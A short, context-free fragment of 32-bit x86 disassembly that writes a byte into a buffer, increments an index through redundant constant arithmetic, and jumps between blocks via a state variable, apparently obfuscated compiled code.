mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xcc]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0xd4]
sub eax, 0x4e5ef1f3
add eax, 1
add eax, 0x4e5ef1f3
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xf8], 0xea0a89af
jmp 0x41bd8b
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xf8], 0xb6c9b09
jmp 0x4192eb